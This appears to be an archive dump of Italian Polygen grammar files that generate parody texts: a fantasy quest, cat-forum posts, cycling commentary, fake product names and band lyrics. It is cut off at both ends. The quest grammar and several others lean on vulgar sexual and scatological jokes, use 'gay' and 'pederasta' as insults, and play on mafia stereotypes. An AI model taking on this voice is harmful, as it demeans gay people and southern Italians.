''"; AGGETTIVO1 ::= \il \terribile | \l'\orribile | \il \supremo | \il \pederasta | \l'\anale | \l'\onanista ; AGGETTIVO2 ::= puzzolent(S:^e|P:^i) | orribil(S:^e|P:^i) | pederast(S:^a|P:^i) | anal(S:^e|P:^i) | onanist(S:^a|P:^i) | coprofag(S:^o|P:^i) | pelos(S:^o|P:^i) | odoros(S:^o|P:^i) | insopportabil(S:^e|P:^i) ; QUEST ::= QUANDO.N i due ((decisero di mettersi alla ricerca | iniziarono a vagare per le lande di REGNO in cerca | vagarono per monti e per mari alla ricerca) del OGGETTO | (decisero di andare a cercar fortuna (nel dungeon |nelle caverne) di | si recarono al torrione solitario di | entrarono nel castello diroccato di) REGNO^"," notoriamente infestato da AGGETTIVO2.P BESTIA.P | decisero di [andare a] salvare la principessa NOME^"," (figlia | moglie | nipote | zia | madre | suocera | concubina | oggetto di piacere | puttana) di NOME MESTIERE di REGNO^"," tenuta prigioniera da un AGGETTIVO2.S BESTIA.S)^"," poiche' NOME MESTIERE [AGGETTIVO2.S] di REGNO (voleva | esigeva) dai due TRIBUTO per MOTIVO^".\n"; ADV ::= \(durante il loro peregrinare | durante le loro avventure | girovagando qua e la' | combattendo e ammazzando) >(i nostri eroi | i due (amici | amanti | compagni)| i due AGGETTIVO2.P) incontrarono CIFRA^CIFRA BESTIA.P ^"," CIFRA^CIFRA BESTIA.P ^", e infine" CIFRA^CIFRA BESTIA.P ^"." (ESCLAMAZIONE urlavano mentre |\)con (AGGETTIVO2.P | veementi | forti | vigorosi | taglienti) colpi di (spada | ascia | lancia | mazza | culo) maciullavano bestie orrende come BESTIA.P^", " BESTIA.P^", e soprattutto gli spaventosi," AGGETTIVO2.P BESTIA.P ^".\n"; MISF2 ::= \(successivamente | purtroppo | sfigatamente | grazie al cielo | per qualche strano caso | incredibilmente) durante (lo scontro | la battaglia | l'orgia [gay] | la sessione di onanismo | il download di materiale porno | la scureggia) NOME [di REGNO] fu (colpito | picchiato | sfiorato | inculato | preso a calci | sodomizzato | inchiavardato | impalato) da (un AGGETTIVO2.S BESTIA.S | un'orda di AGGETTIVO2.P BESTIA.P)^"." \il (colpo | dolore | godimento) fu AGGETTIVO2.S ^"." [\ EPI] ; WIS ::= "''"^\[amico mio ^","[ ricordati che]] (la vita | la nostra esistenza | la sorte | la morte | la cacca) [e' come una ELEM ":"] (piu' | meno | se) la (mangi | eviti | conosci | interpreti | onanizzi | inchiavardi | sventri | caghi) (piu' | meno | meglio) la (mangi | eviti | conosci | interpreti | onanizzi | inchiavardi | sventri | caghi) ^"."\ricordalo (la prossima volta | ogni volta) che (vedrai | inculerai | userai | ti pulirai [il culo] con ) (la mia ELEM | OGGETTO2 )^"''." ; WISP2 ::= \detto questo^"," (spiro' | mori' | vomito' | cago' | scorreggio' | onanizzo' | si autoinculo' | si iscrisse (al fan club dei \lunapop | al circolo BESTIA.P AGGETTIVO2.P | all'arcigay) | fu catturato (dai militanti | dagli sgherri | dagli armigeri | dagli amichetti) (della societa' segreta chiamata | della fratellanza nota come | del partito politico filo^"-"^AGGETTIVO2.S noto come )LETTERA ^LETTERA ^LETTERA [^LETTERA] [^LETTERA] [^LETTERA] [^LETTERA] [^LETTERA] [^LETTERA] del noto (dittatore | stregone |assassino)NOME di REGNO detto "''"^\MESTIERE^"''"); ELEM ::= morte | vita | spada | merda | lancia | diarrea ; EPI ::= GER e GER ^"," NOME >(pronuncio' le sue [ultime] volonta' | disse cose senza senso | disse una sequela di (stronzate | minchiate | idiozie | merdate))^": \n " WIS WISP2 ; LETTERA ::= "A"|"B"|"C"|"D"|"E"|"F"|"G"|"H"|"I"|"J"|"K"|"L"|"M"|"N"|"O"|"P"|"Q"|"R"|"S"|"T"|"U"|"V"|"W"|"X"|"Y"|"Z"; GER ::= rantolando | morendo | vomitando | scagazzando [in giro] | ruttando | scorreggiando; GER2 ::= GER | urlando | agitando (l'arma | l'artefatto | la fungia); URLO ::= \(l'urlo | l'onanismo | il rutto | il peto | il discorso) di NOME fu AGGETTIVO2.S ^\"." ESCLAMAZIONE disse VENDETTA ; VENDETTA ::= "''"^NOME^"," (ti vendichero' | ti uccidero' | ti faro' mia | ti onanizzero' | ti faro' in pezzi | ti sodomizzero')^"!''"; VENDETTA2 ::= \(e cosi' | e fu cosi' che | ordunque | [e] allora) NOME (mise mano al | pose la mano all'elsa del | si impossesso' del) OGGETTO e GER2 e GER2^"," (ammazzo' | fece fuori | uccise | strangolo' | maciullo' | onanizzo' | inchiappetto' | divoro' | amo') i CIFRA^CIFRA[^CIFRA][^CIFRA] AGGETTIVO2.P ^"," AGGETTIVO2.P BESTIA.P che avevano (ammazzato | fatto fuori | catturato | strangolato | inchiappettato | onanizzato | amato) il suo AMICO NOME [di REGNO]\".\n"; OUTCOME ::= \(finita | alla fine del^ | al termine del^ ) (^l'orgia | la battaglia | la sessione di onanismo | l'ammucchiata) NOME (ripose | rinfodero' | si infilo' (in culo | nel naso) | inalo') OGGETTO2 ^"."; REMEMBER ::= \(le parole | le stronzate | il cumulo di idiozie | le [commoventi | toccanti] frasi | le cazzate) di NOME risuonarono (nella mente | nella testa | nelle orecchie | nel culo) di NOME con la stessa (omosessualita' | forza | veemenza | tristezza | coprofagia) di una ELEM ^":" WIS; OUT2 ::= \GER2^", " NOME (si allontano' | spari' | si levo' dai coglioni | scomparve | si vaporizzo') [per sempre] dalle [lontane| puzzolenti| remote| ignobili| inutili| anali| ridicole] (lande | terre) di REGNO^".\n" \(c'e' chi crede | si dice | narrano le cronache | mi ha detto mio cugino) che ora (abbia messo insieme CIFRA^CIFRA[^CIFRA][^CIFRA] MONETE e (si sia ritirato a vita privata | sia stato divorato da un BESTIA.S | sia diventato un noto AGGETTIVO2.S | sia diventato MESTIERE di fiducia di NOME di REGNO)| sia diventato MESTIERE (piu' | meno) AGGETTIVO2.S delle lande di REGNO | sia (morto | basito | transmogrifato | impazzito | diventato (AGGETTIVO2.S | gay)) | abbia fatto troppo onanismo e sia diventato (sordo | cieco | muto | AGGETTIVO2.S) | che abbia rubato OGGETTO2 e (sia finito in galera | si sia arricchito (all'inverosimile | in maniera (ridicola | scandalosa | onanista | spaventosa | offensiva))) ) ^"," ma certo e' che (un eroe | un guerriero | un onanista | un PROTAGONISTA) cosi' AGGETTIVO2.S non lo vedremo mai piu'^"." [\(ci mancherai | non ti dimenticheremo | sarai sempre il migliore | non sarai dimenticato | --vaffanculo)^"," NOME^"."] ; ILTITOLO ::= \(il \sigillo | la \morte | il \signore | l'\anello | la \vendetta | il \re | la \regina | la \spada | l'\ascia | la \battaglia | l'\elfo) >(del \demone | del \drago | dell'\anello | dell'\elfo | del \re | dei \draghi | di REGNO) ; polygen-1.0.6.ds2/grm/ita/idag.grm0000644000175000017500000000333710340417034016161 0ustar enricoenricoI ::= "title: Messaggi di IDAG\n" ^ "author: Lalaura <laura@micionline.com>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: it.discussioni.animali.gatti\n" ^ "created: 05/07/2004" ; S ::= \ Uno Due Tre ^ "." \ Quattro ^ "!" Nome Gatto ; Uno ::= oggi ho visto | ho saputo di | il mio vicino di casa ha | ho trovato | mi hanno lasciato davanti a casa | ho messo sotto in macchina | ho comprato | cerco disperatamente | ho visto in un negozio | mia sorella mi ha regalato | mio figlio ha raccattato per strada ; Due ::= un gattino con la rogna | un micetto appena nato | un micio di 40 gg | una gatta malata | un gattino pieno di pulci | un gattino abbandonato | una miciona tigrata | una gatta siamese piena di vermi | una gatta vecchissima senza denti | un gatto con tre zampe ; Tre ::= con gravi problemi di salute | con la diarrea | con una terribile cardiopatia | che vomita sempre sul divano | che perde il pelo dappertutto | che la fa sempre fuori dalla cassettina | che graffia i mobili | che miagola in contiunazione | con una bruttissima congiuntivite | ma stamattina era gia' morto ; Quattro ::= che tristezza | povero amore | maledetti | che tenerezza | aiutatemi | non so che cosa fare | consigliatemi voi | non so fare altro che piangere | non riesco a farmene una ragione | incrociamo le codine ; Nome ::= "Catsy" | "Micia" | "La Zia" | "La mamma" | "Isidora" | "Pesca Noce" | "Peracotta" | "Pancrazia" | "Erbagatta" | "Topazia" ; Gatto ::= "e i micilli" | "& Mary" | "+ Molly" | ^ "^^" | ^ "..." | ^ "!" | "e Pallino" | "and Fusillo" | "dei gatti"| "dei mici" ;polygen-1.0.6.ds2/grm/ita/dezan.grm0000644000175000017500000002325210340417034016354 0ustar enricoenricoI ::= "title: Telecronaca ciclistica di Adriano De Zan\n" ^ "author: Franco <franco@francogiovannini.it>\n" ^ "language: italian\n" ^ "status: larvale\n" ^ "topic: misc\n" ^ "audience: appassionati di De Zan\n" ^ "dedicato a: Adriano De Zan e alla legione dei coglion\n" ^ "created: 06/04/2004" ; (* --- PRINCIPALE --- *) S ::= \ Inizio "\n\n" Intermezzo "\n\n" Svolgimento "\n\n" Fine; (* --- BLOCCHI PRINCIPALI --- *) Inizio ::= [Benvenuti"\n"] Riepilogo^"." \ Situazione^"."; Intermezzo ::= \ ^(Intervista | +ChiedeAdorni); Svolgimento ::= \ ^Incipit EventoImprovviso^"." \ Azione; Fine ::= \ ^(ArrivoSolitario | Sprint [CommentoSprint]) ^"." [CommentoFinale]^"." "\n\n"; (* --- BLOCCHI SECONDARI INIZIO --- *) Benvenuti ::= (gentili signore e signori buon pomeriggio da Localita^".") \ Numerotappa tappa del Giro^"," la Localita "-" Localita di (223 | 176 | 150 | 210) chilometri^"."; Riepilogo ::= \ ^riepiloghiamo la situazione QuandoRiepilogo"." \ Doveepisodio Episodio ^"." \ Dopo Doveepisodio Episodio [^"." \ Dopo Doveepisodio Episodio] [^"." \ Dopo Doveepisodio Episodio]; QuandoRiepilogo ::= quando mancano (ancora piu' di meta' dei chilometri da percorrere^ | Tantichilometri chilometri al traguardo^) | in vista del traguardo volante di Localita^ ; Tantichilometri ::= [-(1 | 2)^](7 | 8 | 9)^Cifra ; Numerotappa ::= terza | quarta | decima | dodicesima | diciannovesima | trecentocinquantesima; Giro ::= "Giro d'Italia"; Dopo ::= dopo Numero chilometri | proprio quando siamo entrati in collegamento | successivamente | nel periodo non collegato | al chilometro Cifra^Cifra | dopo il rifornimento ; Doveepisodio ::= sul passo Passo | nella discesa dopo il passo Passo | (nelle vicinanze|nei pressi) di Localita | sui tornanti che portano al passo Passo ; Episodio ::= un tentativo isolato di Nome [e del Campione] (subito rintuzzato dal gruppo | bloccato da Altronome della Squadra | ha sgretolato il gruppo e evidenziate le difficolta' di Altronome) | un attacco solitario di Nome [inseguito dal Campione] | se ne vanno Nome e Altronome sfruttando un'indecisione della Squadra che aveva fino al quel momento controllato la corsa| una caduta che ha visto coinvolti Nome e Nome [fortunatamente senza conseguenze]| il ritiro di Altronome [in seguito a una caduta per la quale e' stato prontamente ospedalizzato]| una foratura di Altronome (che viene riportato in gruppo dai suoi compagni della Squadra | che perde contatto) | Nome saluta (i parenti|gli amici|i tifosi) (accorsi numerosi di fronte al "Bar Sport" | che offrono un rinfresco al gruppo | e bacia la fidanzata | posti lungo la strada); Situazione ::= la "situazione:" (gruppo compatto dopo il riassorbimento del tentativo di Nome [e (Nome | del Campione)]| al comando con Minuti di vantaggio un gruppetto di battistrada composto da Gruppetto | la Squadra ha posto tutti i suoi uomini al comando e controlla la corsa | prosegue la fuga solitaria di Nome che ormai ha raggiunto Minuti di vantaggio | Nome ha (messo alla frusta | schierato in testa) i suoi (compagni di squadra|coequipier) della Squadra per sferrare un attacco alla maglia rosa [che appare in affanno | che appare pero' tranquilla]) ; (* --- BLOCCHI SECONDARI INTERMEZZO --- *) Intervista ::= InizioIntervista^": " DomandaIntervista FineIntervista^"."; InizioIntervista ::= abbiamo il piacere di ospitare SoggettoIntervista | "e'" qui con noi SoggettoIntervista | ringraziamo SoggettoIntervista per essere intervenuto in trasmissione; DomandaIntervista ::= cosa pensa di questa "tappa?" | complimenti per il recente successo alle comunali^"." | chi "e'" il suo favorito per la "corsa?"; FineIntervista ::= "Grazie," (ora dobbiamo ritornare in diretta | riprendiamo il commento della tappa | torniamo ora alla tappa); SoggettoIntervista ::= ("l'assessore" (al traffico | alle merendine | ai semafori) del comune di | il sindaco di ) Localita ; ChiedeAdorni ::= DomandaAdorni RispostaAdorni FineAdorni; DomandaAdorni ::= "Adorni, vuoi riepilogare la situazione per favore?" | "Adorni, cosa pensi delle rotonde? Sono a tuo avviso pericolose?" | "Adorni, cosa pensi dei ciclisti che non mettono il caschetto protettivo?" | "Adorni, vuoi scommettere con me sul favorito per questa tappa?" | "Adorni, cosa pensi dei ciclisti " ("con l'orecchino?" | "con il codino?") | +"Adorni, hai notato che Baffi e Boffo hanno entrambi i baffi, ma non baffi nel senso di Baffi, bensi' nel senso di MOUSTACHES"; RispostaAdorni ::= "(Adorni:" ("er.." | "mah, non saprei.." | "beh, secondo me.." | "direi che..") ^")."; FineAdorni ::= (+"NON TI HO CHIESTO un commento, ma un parere TECNICO" | "Beeene bene, tutti hanno sentito" quello che hai detto e non puoi piu' rimagiartelo | "Eh si, ai tuoi tempi era diverso ma TU che sei un signore certe cose non le vuoi dire" | "Eh si, tu che sei di Parma hai come sempre ragione") ^". Grazie, proseguiamo con la telecronaca." ; (* --- BLOCCHI SECONDARI SVOLGIMENTO --- *) FugaSolitaria ::= "Una fuga!" ; Gruppone ::= gruppo compatto ; (* --- BLOCCHI SECONDARI SVOLGIMENTO --- *) Incipit ::= "Riepiloghiamo la situaz..." | "Al comando un gruppetto composto da" Gruppetto"..." | "La corsa sembra molto controll..." | "Ed eccoci nel punto decisivo della corsa" | "Adorni, vorrei domand..."; EventoImprovviso ::= "MENTRE ECCO CHE SCATTA" NomeM "DELLA" SquadraM ("INSEGUITO" ( "DA" AltronomeM | "DAL" CampioneM) | "E FA IL VUOTO SUGLI INSEGUITORI") | "IMPROVVISO CEDIMENTO DELLA MAGLIA ROSA" NomeM (sui primi tornanti del passo Passo | dopo lo scatto improvviso del Campione) | "MA VEDIAMO ORA CHE" NomeM "SI GETTA NELLA DISCESA A TOMBA APERTA INSEGUITO DA" NomeM AltronomeM NomeM [AltronomeM]| "MA ECCO IN TESTA GLI UOMINI DELLA" SquadraM "CHE IMPONGONO UN RITMO IMPOSSIBILE PER LA MAGLIA VERDE" NomeM | "MA ECCO UN IMPERIOSO SCATTO" ("DI" NomeM | "DEL" CampioneM) | "MENTRE SCATTA DI NUOVO" AltronomeM^"..." ["SEGUITO DA" NomeM] | "MA ECCO CHE" AltronomeM "CEDE ALL'ELASTICO" ("DI" NomeM | "DEL" CampioneM); Azione ::= "Un'azione forse decisiva, cosa ne pensi Adorni?" | "Il distacco sembra ormai incolmabile" anche per Altronome che si e' posto all'inseguimento^"."| "Adorni, lo avevi previsto. Bravo." | "Adorni, tu avevi previsto invece un attacco di" Altronome^"..."; (* --- BLOCCHI SECONDARI FINE --- *) ArrivoSolitario ::= ("ED ECCOCI ALL'ULTIMO CHILOMETRO" | "ULTIMO CHILOMETRO" | "ULTIMI TRECENTO METRI" | "ULTIMA CURVA") ^"..."^ "Le" ultime pedalate per (Nome | il Campione) che vince (per distacco | beffardamente davanti a Altronome| irridendo gli avversari | controllando il ritorno di Altronome) mentre (Altronome mantiene la maglia rosa | Altronome perde la maglia rosa a vantaggio del Campione | Altronome regola il gruppo nella volata per il secondo posto) ; Sprint ::= (ma il gruppo e' di nuovo compatto in vista del traguardo | a cinquecento metri dalla fine il gruppo e' di nuovo compatto la fuga termina in vista del triangolo dell'ultimo chilometro) "E-D E-C-C-O L-O S-P-R-I-N-T" NomeM [("DAVANTI A" | "SBUCA DA DIETRO")] AltronomeM [("PRENDE LA RUOTA DI" | "SGOMITA")] NomeM [AltronomeM] [NomeM] [NomeM] [AltronomeM] [NomeM] [-- ^"...C'E' UNA CADUTAAA!" "ci-sembra-di-vedere-a-terra"[^"-proprio"] Nome ma seguiamo la volata] ^"..."^("VINCE A BRACCIA ALZATE" | "CON UN COLPO DI RENI VINCE" | "AL FOTOFINISH VINCE" | "TRIONFA ANCORA UNA VOLTA") (NomeM | "IL" CampioneM) ^"!!!" ; CommentoSprint ::= una volata imperiale come direbbero i francesi | questi sono i suoi arrivi | e' riuscito a mettersi al riparo del vento ; CommentoFinale ::= \ "d'altra parte lo avevamo detto, 'Nemo profeta in patria'... e quindi" Altronome "NON" poteva prevalere in questa tappa| "Adorni, tu avevi pronosticato" Altronome e quindi ti sei sbagliato anche stavolta | "Adorni, tu l'avevi pronosticato e quindi per una volta ci hai azzeccato" | vince l'enfant du pays a dispetto dei pronostici che favorivano Altronome; (* --- HELPERS --- *) Localita ::= "Castellammare di Savinio" | "Rocca Cellara" | "Marina di Vivantonio" | "San Bruno in Fogliano" | "Pozzerello sul Tiginio" | "Borgo Palocco" | "Vissano sul Trimone" | "Mollicabella" | "Lido di Caprazoppa"; Passo ::= ("della Melgola" | "di Fugnale" | "Gardone" | "del Cinisio" | "del Morecciolo" | "della Croce Povana" | "del Nerbozzo"); Nome ::= ("Bincoletto" | "Fraccaro" | "Boifava" | "Knut Knudsen" | "Glauco Santoni" | "Rominger" | "Fuchs" | "Santimaria" | "Galdos"); Altronome ::= ("Vladimiro Panizza" | "Urs Freuler" | "Baffi" | "Cazzolato" | "Paolini"); Cifra ::= 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 ; Numero ::= Cifra[^Cifra]; NomeM ::= "BINNNCOLETTO" | "FRACCCCCARO" | "BOOOOIFAVA" | "KNUTKNUZZZZEN" | "SANTONI" | "RRRROMINGER" | "FUCHSSSSS" | "SANTIMARIA" | "GALDOS"; AltronomeM ::=("PANIZZA" | "FRRROILER" | "BAFFFFFI" | "CAZZZZZOLATO" | "PAOLIIIINI"); Gruppetto ::= Nome [il numero Numero ] Nome Nome [il numero Numero ] Nome Nome [+Nome] [Nome] [Nome] [e dal Campione]; Minuti ::= Cifra^":"^Min1^Cifra | oltre Cifra minuti; Min1 ::= 1 | 2 | 3 | 4 | 5; Campione ::= campione elvetico "Godi Schmutz"; CampioneM ::= "CAMPIONE ELVETICO GODI SCHMUTZ"; Squadra ::= "Famcucine" | "Magniflex Olmo" | "SCIC" | "Jollyceramica" | "Molteni" | "Inoxpran"; SquadraM ::= "FAMCUCINE" | "MAGNIFLEX OLMO" | "SCIC" | "JOLLYCERAMICA" | "MOLTENI" | "INOXPRAN"; polygen-1.0.6.ds2/grm/ita/delonghi.grm0000644000175000017500000000716310340417034017047 0ustar enricoenrico I ::= "title: Prodotti De'Longhi\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: chiunque, ma Sergio in particolare\n" ^ "slogan: chi xe che ga suga' el canal?\n" ^ "disclaim:" \ Prod.cap.NOart e' un marchio registrato da "De'Longhi S.p.a.\n" ^ "created: 28/11/2002" ; S ::= Prod.art.cap "De'Longhi" ; Prod ::= Verbo.pre.1 |- Prod2 ; Suff ::= ^ (Verbo | Ogg) ; Verbo ::= (X ::= Suff.2.NOart.NOcap ; >> <(art: il | NOart: _) <(cap: \ | NOcap: _) ( ( brucia | lessa | trita | tira | lava | gratta | pompa | mischia | pela | gira | lancia | tosta | mangia | macina | griglia | secca | bagna | taglia | getta | briga ) <(1: X.a. | 2: _) | (friggi | cuoci | bolli | batti | mesci) <(1: X.i. | 2: _) | (caldo | freddo | pronto) <(1: X.o. | 2: _) ) | <(art: lo | NOart: _) <(cap: \ | NOcap: _) ( ( sforna | stira | spezza | scola | spiuma | scanna | spalma | strizza | scalda | schiaccia | stacca | spacca | sbriciola | spruzza | scotta | schianta | sbuccia ) <(1: X.a. | 2: _) | (scuoci | spremi | sbatti | sciogli | spargi | spegni | stringi) <(1: X.i. | 2: _) ) | <(art: l'^ | NOart: _) <(cap: \ | NOcap: _) ( <(i: a^ | o: a^ | pre: a^ | a: _) sciuga <(1: X.a. | 2: _) | <(a: i^ | o: i^ | pre: i^ | i: _) (nforna | mpana | mpasta | ncendia) <(1: X.a. | 2: _) ) << ) ; Ogg ::= >> pizza | pasta | forno | tutto | legna | svelto | bello | grassi | sugo | carne | pesce | sale | pepe | tetto | spiedo | pollo | pizza | bagno | cucina | merda | pane | bisi | risi | male | mele | pere | sassi | muri | soggiorno | camera | caffe' | miele | te' | frutta | lardo | strutto | toast | letto | tinello | strada | polvere | gelato | briciole | fuoco | castagne | torta | cappe | cozze | folpi | sangue | paglia | fieno | trote | prugne | sciarpa | scarpe | sedano | ribes | tripp^(e | a) | fegato | rognoni | bile | rogna | helder | ragu | gioppino | <(i: a^ | o: a^ | a: _) (nguria | rrosto | cqua[^rio] |++ more) | <(a: i^ | o: i^ | i: _) (nsalata | mpazza) | <(a: o^ | i: o^ | o: _) live << ; A ::= (art: il\ | art2: [il\] | NOart: _) >(sugo | ragu | caffe) | (art: lo\ | art2: [gli\] | NOart: _) gnocchi ; Aa ::= (art: il\ | art2: [la\] | NOart: _) (pizz | past | lasagn) (a: ^a | NOa: _) ; Citta ::= (art: il\ | art2: _ | NOart: _) ("Napoli" | "Positano" | "Sorrento" | "Irpinia" | "Molise") ; Ba ::= ( (art: il\ | art2: [la\] | NOart: _) >( mafi | mamm | vit |--- camorr |---- ndranghet |------ "SacraCoronaUnit" ) | (art: il\ | art2: \ | NOart: _) >(viv | bell) ) (a: ^a | NOa: _) ; BA ::= (art: _ | art2: [l'^\] | NOart: _) (a: a^ | NOa: _) (more) ; C ::= (art: il\ | art2: \ | NOart: _) (ciao |-- pavarotti | mia) ; Escl ::= "that's" | viva | brava | bella | grande ; Prod2 ::= A ^\ >(Ba | BA |- C | Citta).a.NOart. | Aa.a ^\ >(Ba |- C | Citta).a.NOart. | Aa.NOa ^\ BA.a.NOart. | Ba.a ^\ >(A | Aa |- C | Citta).a.NOart. | Ba.NOa ^\ BA.a.NOart. |- C ^\ (A | Aa | Ba | BA | Citta).a.NOart. | \Escl \ >(Ba |- C | A | Aa | BA | Citta).a.art2. ; polygen-1.0.6.ds2/grm/ita/visionbello.grm0000644000175000017500000000342110340417034017574 0ustar enricoenricoI ::= "title: VisionBello - la linea di prodotti per l'uomo\n" ^ "author: Spleen <spleen@host.sk>\n" ^ "language: italian\n" ^ "topic: misc\n" ^ "audience: tutti gli uomini d'oggi\n" ^ "disclaim: per te, " ^( uomo | giovine | giuovane | stallone | uomo | omo | capro | rude | truce | +brado | crudo ) ^" di " ^( ieri | oggi | domani | sta^(sera | mattina | notte ) ) ^ "\n" ^ "created: 17/09/2003" ; (* fermo restando che Vision-X e' un secchio *) S ::= \ usa anche tu "VisionBello -" Essenza e Aroma ; (* essenza *) Essenza ::= denim | mughetto | rucola | vaniglia | "pout-pourri" | "ylang-ylang" | passion | africa | arabia | incenso | rosa | begonie | iris | -fiori di >TipoFiore ; TipoFiore ::= fiume | campo | pesco | gelsomino | acacia | ciliegio | begonia | orchidee ; (* retroaroma *) Aroma ::= >Puzzo | >Animale | >Alimento ; (* alimenti vari *) Alimento ::= +Carne | Formaggio | -Pesce | tartufi | verza | gnocchi ; (* essenza meno profumata anzi *) Puzzo ::= sudore | scolo | fogna | monnezza | fogna | cacca | cerume | merda | muffa | percolato | pus | diarrea | croste | smegma | mestruo | catarro | sputo | secchio ; (* formaggi *) Formaggio ::= caciotta | pecorino | ricotta | provola | scamorza | gorgonzola | parmigiano | grana | montasio ; (* carni varie *) Carne ::= bistecca | spezzatino | bresaola | salame | prosciutto | coppa | ossocollo | cotechino | salsiccia | cotenna | strutto | lardo ; (* pesci *) Pesce ::= "baccala'" | anguilla | sgombro | sarda | carpa | cernia | pescegatto ; (* animali *) Animale ::= bue | capra | montone | furetto | visone| procione | lontra | nutria | muflone | cane | pecora | stambecco | iena | gnu | bisonte | stallone | orso | ratto | antilope | "lama tibetano" ; polygen-1.0.6.ds2/grm/ita/png.grm0000644000175000017500000000202310340417034016030 0ustar enricoenrico I ::= "title: PNG\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: final\n" ^ "topic: misc\n" ^ "audience: tutti quelli che hanno giocato di ruolo con me =;)" ^ "created: 30/07/2002" ; S ::= Nome "-" Razza^"," Classe^"," Allineamento Allineamento ; Nome ::= (Pippo | Franco.o | Baudo) (Pippo | Franco | Baudo) ; Pippo ::= ("P" | "C") ^ i ^ (++ cc (_ | ++ ^i) |++ pp | zz | tt) ^ o ; Franco ::= ("P" |++ "F") ^ ra ^ (n ^ (z |+ c) | (zz |+ cc)) ^ (o: [i^]o | i: i) ; Baudo ::= (++ "B" | "P") ^ a ^ (ud | ld | ul) ^ (i | o) ; Classe ::= (+ mago |+ bardo | lardo | lago |+ ladro | bago | babbo | largo | balbo | baldo | barbo | malgo | valvo | balgo | balvo | cargo ) [^ "-" ^ Classe] ; Razza ::= [semi^] ( [mezz'^] >(elfo | uomo | halfling |--- helder) | [mezzo ^ "-" ^] >(gnomo | coboldo) ) ; Allineamento ::= buono | ottimo | malvagio | legale | neutrale | pessimo | illegale | bello | cattivo | bravo ; polygen-1.0.6.ds2/grm/ita/verdena.grm0000644000175000017500000001210410340417034016671 0ustar enricoenricoI ::= "title: Testi dei Verdena\n" ^ "author: Alan aka ^anakin^ <alanzap@email.it>\n" ^ "language: italian (credo)\n" ^ "status: refinable\n" ^ "topic: musica\n" ^ "scoop: finalmente disponibile la grammatica originale usata dai Verdena per scrivere i loro testi\n" ^ "created: 10/11/2004"; S ::= ""^Titolo^"\n\n"^ \((Strofa)+)+ Rit ((Strofa)+)+ Rit [(Strofa)+] (Strofa | +((F^"..."^)+)+); F := (Cosa|Dove|Verb.(Imp|P1|P3)|Nome|Altro); Rit := "\nRitornello:\n"^Strofa [Strofa]"\n"^; Titolo ::= \( (valvo|ultra)(^Nome.(M|F).NoArt) |(Nome.(M|F).NoArt)^drama |il suicidio Nome.(M|F).Di |Cosa |Aggettivo.F |Dove |Numero^" "^(secondi|minuti|ore|giorni|mesi|anni|tir|tricli|apecar) (+Dove|di (niente|nulla|vuoto)|con Persone) |-Persone ); Strofa ::=[+_|(e|ma) (ora|adesso)] (Verb.(P1|P3|Imp) Cosa [Dove] [Come] |[mi] Verb.P1 Cosa [Dove] |-se Cosa [mi] Verb.P3^"," Cosa [mi] Verb.P3 [Dove] |(non c'e' [piu']|c'e') Cosa [(e|senza) Cosa] |[non] sei Cosa che [mi] Verb.P3 [Cosa] |Cosa che [mi] Verb.P3 [Dove] |[perche'] [Verb.P1] Cosa [Dove] |perche' (Cosa|Persone) (non c'e'|[non] Verb.P3) |Verb.Imp Dove [Come] |contro di ME |sono Aggettivo.M Dove [Come] |(questo|Cosa) non e' Cosa |(credo di essere|mi Verb.P1 cosi') Aggettivo.M |lei [(mi|si)] Verb.P3 [Dove] [Come] |(vedi|Verb.Imp) Aggettivo.M e [non] ti senti Aggettivo.M |saro' Aggettivo.M quanto vuoi |(tu non ti senti|io non mi Verb.P1) piu' cosi' Aggettivo.F |(tu sei|lei e'|Verb.P1) Dove |io con ME so che ci (sei|sono) quando non (mi|ti) Verb.(P1|P3) |mi sembra Aggettivo.M (dirti|Verb.Inf) di piu' |((non so (super^(sfogo|Aggettivo.M)) che non (-c'e'|Verb.P3))+)+ |(niente|nulla) Verb.P3 |--Persone |(+Verb.P1|Verb.P3|Verb.Inf|+Verb.Imp) |Altro |Cosa (mi|ci) portera' via con (se|ME) |non mi (importa|frega|Verb.P3) se [Persone] Verb.P3 o (no|Verb.P3) |(perdo|Verb.P1) spesso un po' di ME in ME |Verb.P1 che dovrei (Persone|Cosa) Verb.Inf (* questa parte sembra totalmente nonsense anche dal punto di vista "logico", dovrebbe simulare qualcosa simile a un verso che fa: "sento che dovrei lei vomitare" (giuro che è così)*) |non c'e' da Verb.Inf |(non mi (spiego|Verb.P1)|mi (chiedo|Verb.P1)|non so) perche' tu sei (+Aggettivo.F|Cosa|Dove) |ogni io e ME che (sei|Verb.P1) ( +Turutu | Aggettivo.F | Cosa) |io [e ME] Dove )[+_|^"," Altro [+_|^"," Altro]]["(x"^Cifra^")"\]^"\n"^; Verb ::= ((offend|strid|cad|diping|offend|resping|perd|corregg|insist|[s^]corr)(P1:^o|P3:^e|Imp:^imi|Inf:^ere) |(+sgomm|sud|gett|spar|soffi|manc|croll|provoc|soffoc|cont|bruci|trov|condens|sfid|precipit|+incoll|gratt|vomit|sud|vol|affog|cur|cull)(P1:^o|P3:^a|Imp:^ami|Inf:^are) |(dorm|sent)(P1:^o|P3:^e|Imp:^imi|Inf:^ire) ); Persone ::= ("Spaceman"|"Mina"|"Luna"|"Henry Bahus"|"Elide"|bambina Aggettivo.F|lei); Come ::= come Cosa; Cifra ::= (2 | 3 | 4 | 5 | 6 | 7 | 8 | 9); Numero ::= ((Cifra^)+)+; Aggettivo ::=( (distort|onest|scur|ferm|compost|innoqu|fint|insan|infinit|ner|sol|lent|cretin|lesbic)(^(M:o|F:a)) |([a^]normale|uguale|+blu|giu'|debole|reale|fragile|semplice|in nero|color porpora) ); Cosa ::= (Nome.F.Art [Aggettivo.F] | Nome.M.Art [Aggettivo.M]); ME ::= (me|te)[e (ME|-Persone)]; Dove ::= ovunque|qui|giu'|nel blu|in volo|nel nulla|nel niente|dentro (Cosa|[di] ME|Persone)|(su|fuori) di ME |cosi' (vicino a|lontano da) ME|(nel|sul) (mio|tuo) Nome.M.NoArt|(nella|sulla) (mia|tua) Nome.F.NoArt|in vena; Nome ::=(M: (Art:(il|un) [mio|tuo] |Di: del |NoArt:_) (mare|niente|nulla|crimine|controllo|cielo|fiore|letto|buio|seno|tappeto|creme caramel|Turutu|cortile) |M: (Art:(l'^|un [mio|tuo])|Di: dell'^|NoArt:_) (angelo|impero|orrore|elefante) |F: (Art:(la|una)[mia|tua] |Di: della |NoArt:_) 